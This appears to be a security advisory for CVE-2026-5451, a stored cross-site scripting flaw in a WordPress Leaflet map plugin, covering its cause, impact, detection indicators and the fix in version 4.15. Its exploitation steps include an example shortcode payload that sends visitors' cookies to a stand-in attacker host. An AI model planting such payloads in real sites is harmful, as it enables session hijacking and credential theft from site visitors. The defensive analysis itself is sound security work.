CVE-2026-5451: 
WordPress vulnerability analysis and mitigation

CVE-2026-5451 is a Stored Cross-Site Scripting (XSS) vulnerability in the Extensions for Leaflet Map plugin for WordPress, affecting all versions up to and including 4.14. The flaw exists in the elevation-track shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on April 8, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The root cause is insufficient sanitization of user-supplied attributes passed to the elevation-track shortcode, combined with a lack of proper output escaping before rendering in the browser. Specifically, the vulnerable code paths are found in php/multielevation.php (line 227) and php/functions.php (line 168) in version 4.11 of the plugin. An authenticated attacker with at minimum Contributor-level access can embed a malicious script payload within the shortcode attributes in a post or page, which is then stored and executed in the browser of any user who subsequently visits that page (GitHub Advisory, Wordfence).

Successful exploitation allows authenticated attackers to persistently inject arbitrary JavaScript into WordPress pages, which executes in the context of any visitor's browser. This can lead to session token theft, credential harvesting, user redirection to malicious sites, defacement of page content, or delivery of further malware payloads. While availability is not directly impacted, the confidentiality and integrity of user sessions and page content are at risk for all visitors of affected pages (GitHub Advisory, Wordfence).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time (Wordfence). The EPSS score is approximately 0.036–0.046%, placing it in the 15th percentile for exploitation likelihood within 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (GitHub Advisory).

1. Reconnaissance: Identify WordPress sites running the Extensions for Leaflet Map plugin version 4.14 or earlier. This can be done by checking the plugin's readme.txt file (e.g., /wp-content/plugins/extensions-leaflet-map/readme.txt) or by observing Leaflet map elements on public pages.
2. Obtain Contributor-level access: Register or compromise an account with at least Contributor privileges on the target WordPress site.
3. Create or edit a post/page: Navigate to the WordPress editor and create or edit a post or page where the [elevation-track] shortcode can be used.
4. Inject malicious payload: Insert the elevation-track shortcode with a crafted attribute containing a JavaScript payload, for example: [elevation-track attribute=""><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
5. Publish the content: Submit or update the post/page so the malicious shortcode is stored in the database.
6. Trigger execution: When any user (including administrators) visits the injected page, the stored script executes in their browser, enabling session hijacking, credential theft, or further attacks (GitHub Advisory, Wordfence).

• Logs: WordPress access logs showing authenticated POST requests to wp-admin/post.php or the REST API from Contributor-level accounts inserting elevation-track shortcodes with unusual attribute values containing HTML tags or JavaScript.
• Database: WordPress wp_posts table entries containing [elevation-track shortcodes with embedded <script> tags, event handlers (e.g., onerror, onload), or encoded JavaScript payloads in post content.
• Network: Outbound requests from visitor browsers to unexpected external domains shortly after loading pages containing the elevation-track shortcode, potentially indicating script-based data exfiltration.
• File System: No direct file system artifacts expected for stored XSS; however, review plugin files php/multielevation.php and php/functions.php for unauthorized modifications (GitHub Advisory).

The vulnerability is patched in version 4.15 of the Extensions for Leaflet Map plugin, which includes fixes in php/multielevation.php and php/functions.php. Site administrators should update to version 4.15 or later immediately via the WordPress plugin dashboard. As interim mitigations: restrict Contributor-level access to only trusted users, audit all existing posts and pages using the elevation-track shortcode for suspicious content, and consider deploying a Web Application Firewall (WAF) with XSS detection rules. Disabling the plugin until the update is applied is also a viable precautionary measure (GitHub Advisory, WordPress Plugin).